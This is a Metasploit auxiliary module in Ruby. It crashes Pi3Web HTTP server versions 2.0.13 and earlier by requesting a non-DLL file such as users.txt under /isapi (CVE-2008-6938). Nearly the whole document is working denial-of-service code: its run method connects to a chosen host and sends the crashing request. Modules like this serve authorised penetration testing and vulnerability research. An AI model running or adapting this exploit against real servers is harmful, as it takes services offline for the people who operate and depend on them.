Pi3Web ISAPI DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Pi3Web ISAPI DoS',
      'Description'    => %q{
        The Pi3Web HTTP server crashes when a request is made for an invalid DLL
        file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs
        in this directory after installation are users.txt, install.daf and
        readme.daf.
      },
      'Author'         => 'kris katterjohn',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2008-6938'],
        [ 'OSVDB', '49998'],
        [ 'EDB', '7109' ]
      ],
      'DisclosureDate' => '2008-11-13'))

    register_options([
      OptString.new('FILENAME', [ true, 'File in /isapi to request', 'users.txt' ])
    ])
  end

  def run
    begin
      o = { 'uri' => "/isapi/#{datastore['FILENAME']}" }

      c = connect(o)
      c.send_request(c.request_raw(o))

      print_status("Request sent to #{rhost}:#{rport}")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Couldn't connect to #{rhost}:#{rport}")
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end